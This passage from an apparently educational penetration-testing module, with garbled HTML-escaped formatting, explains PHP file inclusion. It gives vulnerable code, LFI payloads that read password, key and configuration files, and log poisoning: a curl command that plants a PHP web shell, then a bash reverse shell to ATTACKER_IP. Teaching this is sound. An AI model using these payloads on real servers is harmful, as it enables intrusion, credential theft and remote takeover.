&amp;lt;em&amp;gt;File Inclusion · Insecure Code Practices · Race Conditions · APIs · Module Summary&amp;lt;/em&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/blockquote&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="table-of-contents" href="#table-of-contents" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Table of Contents
&amp;lt;/h2&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#611-exploiting-file-inclusion-vulnerabilities"&amp;gt;6.11 Exploiting File Inclusion Vulnerabilities&amp;lt;/a&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6111-overview--what-file-inclusion-is-and-why-it-leads-to-rce"&amp;gt;6.11.1 Overview — What File Inclusion Is and Why It Leads to RCE&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6112-local-file-inclusion-lfi--the-complete-attack-chain"&amp;gt;6.11.2 Local File Inclusion (LFI) — The Complete Attack Chain&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6113-remote-file-inclusion-rfi--serving-your-own-code-to-the-server"&amp;gt;6.11.3 Remote File Inclusion (RFI) — Serving Your Own Code to the Server&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#612-exploiting-insecure-code-practices"&amp;gt;6.12 Exploiting Insecure Code Practices&amp;lt;/a&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6121-overview--the-code-quality--security-relationship"&amp;gt;6.12.1 Overview — The Code Quality → Security Relationship&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6122-comments-in-source-code"&amp;gt;6.12.2 Comments in Source Code&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6123-lack-of-error-handling-and-overly-verbose-error-handling"&amp;gt;6.12.3 Lack of Error Handling and Overly Verbose Error Handling&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6124-hard-coded-credentials"&amp;gt;6.12.4 Hard-Coded Credentials&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6125-race-conditions"&amp;gt;6.12.5 Race Conditions&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6126-unprotected-apis"&amp;gt;6.12.6 Unprotected APIs&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6127-hidden-elements-and-client-side-controls"&amp;gt;6.12.7 Hidden Elements and Client-Side Controls&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6128-lack-of-code-signing"&amp;gt;6.12.8 Lack of Code Signing&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#6129-additional-web-application-hacking-tools"&amp;gt;6.12.9 Additional Web Application Hacking Tools&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#61210-the-owasp-web-security-testing-guide"&amp;gt;6.12.10 The OWASP Web Security Testing Guide&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;&amp;lt;a href="#613-module-6-summary--the-complete-web-application-security-picture"&amp;gt;6.13 Module 6 Summary — The Complete Web Application Security Picture&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h2&amp;gt;
  &amp;lt;a name="611-exploiting-file-inclusion-vulnerabilities" href="#611-exploiting-file-inclusion-vulnerabilities" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.11 Exploiting File Inclusion Vulnerabilities
&amp;lt;/h2&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6111-overview-what-file-inclusion-is-and-why-it-leads-to-rce" href="#6111-overview-what-file-inclusion-is-and-why-it-leads-to-rce" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.11.1 Overview — What File Inclusion Is and Why It Leads to RCE
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="the-core-concept" href="#the-core-concept" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  The Core Concept
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;File inclusion vulnerabilities occur in applications that dynamically include files based on user-controlled input. The mechanism is most commonly found in PHP applications, where the language provides &amp;lt;code&amp;gt;include()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;require()&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;include_once()&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;require_once()&amp;lt;/code&amp;gt; functions to insert one PHP file's contents into another during execution.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The typical use case looks benign: a developer wants to load different page templates or modules based on user navigation:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
// A common PHP template system pattern:&amp;lt;br&amp;gt;
$page = $_GET['page'];&amp;lt;br&amp;gt;
include($page . '.php');&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;When the user visits &amp;lt;code&amp;gt;?page=home&amp;lt;/code&amp;gt;, the server includes &amp;lt;code&amp;gt;home.php&amp;lt;/code&amp;gt;. When they visit &amp;lt;code&amp;gt;?page=about&amp;lt;/code&amp;gt;, it includes &amp;lt;code&amp;gt;about.php&amp;lt;/code&amp;gt;. This pattern is convenient for developers who want modular, template-driven applications.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The problem: there is no validation that the &amp;lt;code&amp;gt;page&amp;lt;/code&amp;gt; parameter must be one of the intended values. An attacker can supply any value — a path to a sensitive file on the server, a URL pointing to a malicious script, or a traversal sequence that reads system files. The server executes whatever it includes.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;File inclusion differs from simple directory traversal (Section 6.10) in a critical way: &amp;lt;strong&amp;gt;directory traversal reads files and returns their contents as text. File inclusion executes files as PHP code.&amp;lt;/strong&amp;gt; When a file is included via PHP's include function, its contents are parsed and executed by the PHP interpreter. This transforms a sensitive file read into potential Remote Code Execution.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The distinction:&amp;lt;/p&amp;gt;

&amp;lt;ul&amp;gt;
&amp;lt;li&amp;gt;Directory traversal: attacker reads &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; — sees user accounts&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Local File Inclusion: attacker includes &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; — PHP tries to execute its contents as PHP code (no execution result from this file, but demonstrates the mechanism)&amp;lt;/li&amp;gt;
&amp;lt;li&amp;gt;Local File Inclusion with code injection: attacker injects PHP code into a server log file, then includes that log file — &amp;lt;strong&amp;gt;full code execution&amp;lt;/strong&amp;gt;&amp;lt;/li&amp;gt;
&amp;lt;/ul&amp;gt;

&amp;lt;p&amp;gt;This escalation path — from file read to log poisoning to Remote Code Execution — is one of the most powerful attack chains in web application exploitation.&amp;lt;/p&amp;gt;

&amp;lt;hr&amp;gt;
&amp;lt;h3&amp;gt;
  &amp;lt;a name="6112-local-file-inclusion-lfi-the-complete-attack-chain" href="#6112-local-file-inclusion-lfi-the-complete-attack-chain" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  6.11.2 Local File Inclusion (LFI) — The Complete Attack Chain
&amp;lt;/h3&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="understanding-lfi" href="#understanding-lfi" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Understanding LFI
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Local File Inclusion (LFI) is when the file to be included exists on the same server as the application. The attacker cannot directly specify a remote URL but can traverse the local file system to include any readable file.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Vulnerable code:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
&amp;lt;?php&amp;lt;br&amp;gt;
$page = $_GET['page'];&amp;lt;br&amp;gt;
include('/var/www/html/pages/' . $page . '.php');&amp;lt;br&amp;gt;
?&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The developer assumes the user will only provide simple filenames like &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;about&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;contact&amp;lt;/code&amp;gt;. The &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; extension is appended automatically.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Basic LFI test:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
?page=../../../etc/passwd&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br&amp;gt;
This resolves to: &amp;lt;code&amp;gt;/var/www/html/pages/../../../etc/passwd.php&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Wait — the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; extension is appended. &amp;lt;code&amp;gt;/etc/passwd.php&amp;lt;/code&amp;gt; does not exist. The developer thought appending &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; would prevent LFI. This is a partial mitigation that historically had bypasses.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Bypassing the .php extension append:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Null byte injection (PHP &amp;lt; 5.3.4):&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
?page=../../../etc/passwd%00&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br&amp;gt;
PHP's &amp;lt;code&amp;gt;include()&amp;lt;/code&amp;gt; treated the null byte as string termination. The path became &amp;lt;code&amp;gt;/etc/passwd\x00.php&amp;lt;/code&amp;gt; — the &amp;lt;code&amp;gt;\x00&amp;lt;/code&amp;gt; terminated the string before &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; was added. This bypass is patched in all modern PHP versions.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;em&amp;gt;Path truncation (older PHP versions):&amp;lt;/em&amp;gt;&amp;lt;br&amp;gt;
Very long path strings caused PHP to truncate the path at a certain length, dropping the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; extension. Not effective in modern PHP.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Modern LFI without extension issues:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Many real-world LFI vulnerabilities do not append extensions:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
&amp;lt;?php&amp;lt;br&amp;gt;
$page = $_GET['page'];&amp;lt;br&amp;gt;
include($page);  // No extension appended&amp;lt;br&amp;gt;
?&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;Or the developer uses a switch/case structure but has a default case that includes user input:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;php&amp;lt;br&amp;gt;
&amp;lt;?php&amp;lt;br&amp;gt;
switch($_GET['page']) {&amp;lt;br&amp;gt;
    case 'home': include('home.php'); break;&amp;lt;br&amp;gt;
    case 'about': include('about.php'); break;&amp;lt;br&amp;gt;
    default: include($_GET['page']); // Fallthrough LFI!&amp;lt;br&amp;gt;
}&amp;lt;br&amp;gt;
?&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="phase-1-reconnaissance-through-lfi" href="#phase-1-reconnaissance-through-lfi" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Phase 1 — Reconnaissance Through LFI
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Once LFI is confirmed, the first phase is intelligence gathering through reading sensitive files:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Linux — High-Value Targets:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="user-accounts-and-system-users" href="#user-accounts-and-system-users" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  User accounts and system users:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../etc/passwd&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="password-hashes-requires-elevated-privileges-but-worth-trying" href="#password-hashes-requires-elevated-privileges-but-worth-trying" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Password hashes (requires elevated privileges, but worth trying):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../etc/shadow&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="internal-network-mapping" href="#internal-network-mapping" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Internal network mapping:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../etc/hosts&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="kernel-and-distribution-information" href="#kernel-and-distribution-information" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Kernel and distribution information:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../proc/version&amp;lt;br&amp;gt;
?page=../../../proc/sys/kernel/hostname&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="network-interfaces-and-connections" href="#network-interfaces-and-connections" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Network interfaces and connections:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../proc/net/dev          # Network interfaces&amp;lt;br&amp;gt;
?page=../../../proc/net/tcp          # Active TCP connections (hex encoded)&amp;lt;br&amp;gt;
?page=../../../proc/net/tcp6         # IPv6 TCP connections&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="web-server-process-environment-contains-credentials-and-tokens" href="#web-server-process-environment-contains-credentials-and-tokens" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Web server process environment (contains credentials and tokens):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../proc/self/environ&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="web-server-command-line-reveals-binary-and-arguments" href="#web-server-command-line-reveals-binary-and-arguments" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Web server command line (reveals binary and arguments):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../proc/self/cmdline&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="file-descriptors-reveals-open-files" href="#file-descriptors-reveals-open-files" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  File descriptors (reveals open files):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../proc/self/fd/0&amp;lt;br&amp;gt;
?page=../../../proc/self/fd/1&amp;lt;br&amp;gt;
?page=../../../proc/self/fd/2&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="apache-web-server-configuration" href="#apache-web-server-configuration" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Apache web server configuration:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../etc/apache2/apache2.conf&amp;lt;br&amp;gt;
?page=../../../etc/apache2/sites-enabled/000-default.conf&amp;lt;br&amp;gt;
?page=../../../etc/apache2/sites-available/default-ssl.conf&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="nginx-configuration" href="#nginx-configuration" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Nginx configuration:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../etc/nginx/nginx.conf&amp;lt;br&amp;gt;
?page=../../../etc/nginx/sites-enabled/default&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="ssh-configuration-and-keys-if-web-server-runs-as-privileged-user" href="#ssh-configuration-and-keys-if-web-server-runs-as-privileged-user" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  SSH configuration and keys (if web server runs as privileged user):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../root/.ssh/id_rsa&amp;lt;br&amp;gt;
?page=../../../root/.ssh/authorized_keys&amp;lt;br&amp;gt;
?page=../../../home/www-data/.ssh/id_rsa&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="cron-jobs-automated-scripts-often-with-credentials" href="#cron-jobs-automated-scripts-often-with-credentials" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Cron jobs (automated scripts, often with credentials):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../etc/crontab&amp;lt;br&amp;gt;
?page=../../../var/spool/cron/crontabs/root&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="log-files-critical-for-next-phase-log-poisoning" href="#log-files-critical-for-next-phase-log-poisoning" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Log files (critical for next phase — log poisoning):
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../var/log/apache2/access.log&amp;lt;br&amp;gt;
?page=../../../var/log/apache2/error.log&amp;lt;br&amp;gt;
?page=../../../var/log/nginx/access.log&amp;lt;br&amp;gt;
?page=../../../var/log/auth.log&amp;lt;br&amp;gt;
?page=../../../var/log/syslog&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="applicationspecific-configuration" href="#applicationspecific-configuration" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Application-specific configuration:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../var/www/html/config.php&amp;lt;br&amp;gt;
?page=../../../var/www/html/.env&amp;lt;br&amp;gt;
?page=../../../var/www/html/wp-config.php         # WordPress&amp;lt;br&amp;gt;
?page=../../../var/www/html/configuration.php     # Joomla&amp;lt;br&amp;gt;
?page=../../../var/www/html/app/config/database.php&amp;lt;br&amp;gt;
`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Windows — High-Value Targets:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
?page=..\..\..\Windows\System32\drivers\etc\hosts&amp;lt;br&amp;gt;
?page=..\..\..\Windows\win.ini&amp;lt;br&amp;gt;
?page=..\..\..\Windows\System32\config\SAM         # (locked while running)&amp;lt;br&amp;gt;
?page=..\..\..\inetpub\logs\LogFiles\W3SVC1\u_ex*.log  # IIS logs&amp;lt;br&amp;gt;
?page=..\..\..\xampp\apache\conf\httpd.conf&amp;lt;br&amp;gt;
?page=..\..\..\xampp\FileZillaFTP\FileZilla Server.xml  # FTP credentials&amp;lt;br&amp;gt;
?page=C:\inetpub\wwwroot\web.config                 # IIS config&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="phase-2-escalation-to-remote-code-execution-via-log-poisoning" href="#phase-2-escalation-to-remote-code-execution-via-log-poisoning" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Phase 2 — Escalation to Remote Code Execution via Log Poisoning
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;Log poisoning is the most commonly successful LFI-to-RCE technique. It exploits the fact that web servers log request data — including the User-Agent header, the request URL, and parameters — and that PHP's include function executes any PHP code found in the included file.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;The attack chain:&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 1:&amp;lt;/strong&amp;gt; Confirm that LFI can read the Apache/Nginx access log:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
?page=../../../var/log/apache2/access.log&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br&amp;gt;
If the access log contents appear in the response, the attack is possible.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 2:&amp;lt;/strong&amp;gt; Inject PHP code into the access log via a crafted HTTP request.&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The web server logs the User-Agent header from every request. If you send a request with a PHP web shell as the User-Agent, that PHP code is written into the log:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="using-curl-to-inject-php-code-into-the-useragent" href="#using-curl-to-inject-php-code-into-the-useragent" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Using curl to inject PHP code into the User-Agent:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -A "&amp;lt;?php system(\$_GET['cmd']); ?&amp;gt;" &amp;lt;a href="http://target.com/"&amp;gt;http://target.com/&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="what-gets-written-to-varlogapache2accesslog" href="#what-gets-written-to-varlogapache2accesslog" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  What gets written to /var/log/apache2/access.log:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="192168150-15jul2026103000-0000-get-http11-200-1234" href="#192168150-15jul2026103000-0000-get-http11-200-1234" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  192.168.1.50 - - [15/Jul/2026:10:30:00 +0000] "GET / HTTP/1.1" 200 1234
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="-ltphp-systemgetcmd-gt" href="#-ltphp-systemgetcmd-gt" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  "-" "&amp;lt;?php system($_GET['cmd']); ?&amp;gt;"
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Step 3:&amp;lt;/strong&amp;gt; Include the log file via LFI to trigger PHP execution:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
?page=../../../var/log/apache2/access.log&amp;amp;cmd=id&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;The PHP interpreter includes the log file, parses all content, finds the injected &amp;lt;code&amp;gt;&amp;lt;?php system($_GET['cmd']); ?&amp;gt;&amp;lt;/code&amp;gt;, executes it with &amp;lt;code&amp;gt;cmd=id&amp;lt;/code&amp;gt;, and the output appears in the response:&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;br&amp;gt;
uid=33(www-data) gid=33(www-data) groups=33(www-data)&amp;lt;br&amp;gt;
&amp;lt;/code&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;You now have Remote Code Execution. From here, the path to a reverse shell is straightforward:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="get-a-reverse-shell-via-the-lfilog-poisoning-rce" href="#get-a-reverse-shell-via-the-lfilog-poisoning-rce" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Get a reverse shell via the LFI+log poisoning RCE:
&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="1-start-a-listener-on-your-attack-machine" href="#1-start-a-listener-on-your-attack-machine" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  1. Start a listener on your attack machine:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;nc -lvnp 4444&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="2-execute-a-reverse-shell-via-the-cmd-parameter" href="#2-execute-a-reverse-shell-via-the-cmd-parameter" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  2. Execute a reverse shell via the cmd parameter:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../var/log/apache2/access.log&amp;amp;cmd=bash+-i+&amp;gt;%26+/dev/tcp/ATTACKER_IP/4444+0&amp;gt;%261&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="url-decoded-command-bash-i-gtamp-devtcpattackerip4444-0gtamp1" href="#url-decoded-command-bash-i-gtamp-devtcpattackerip4444-0gtamp1" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  URL decoded command: bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_IP/4444 0&amp;gt;&amp;amp;1
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;`&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h4&amp;gt;
  &amp;lt;a name="phase-3-alternative-lfitorce-paths" href="#phase-3-alternative-lfitorce-paths" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Phase 3 — Alternative LFI-to-RCE Paths
&amp;lt;/h4&amp;gt;

&amp;lt;p&amp;gt;When log poisoning fails (log file not accessible, log file too large to include, log path unknown), several alternative paths exist:&amp;lt;/p&amp;gt;

&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Via /proc/self/environ:&amp;lt;/strong&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;code&amp;gt;&amp;lt;/code&amp;gt;`bash&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="inject-php-into-environment-via-useragent" href="#inject-php-into-environment-via-useragent" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Inject PHP into environment via User-Agent:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;curl -A "&amp;lt;?php system(\$_GET['cmd']); ?&amp;gt;" &amp;lt;a href="http://target.com/"&amp;gt;http://target.com/&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
  &amp;lt;a name="include-the-environment-file" href="#include-the-environment-file" class="anchor"&amp;gt;
  &amp;lt;/a&amp;gt;
  Include the environment file:
&amp;lt;/h1&amp;gt;

&amp;lt;p&amp;gt;?page=../../../proc/self/environ&amp;amp;cmd=id&amp;lt;/p&amp;gt;
&amp;lt;h1&amp;gt;
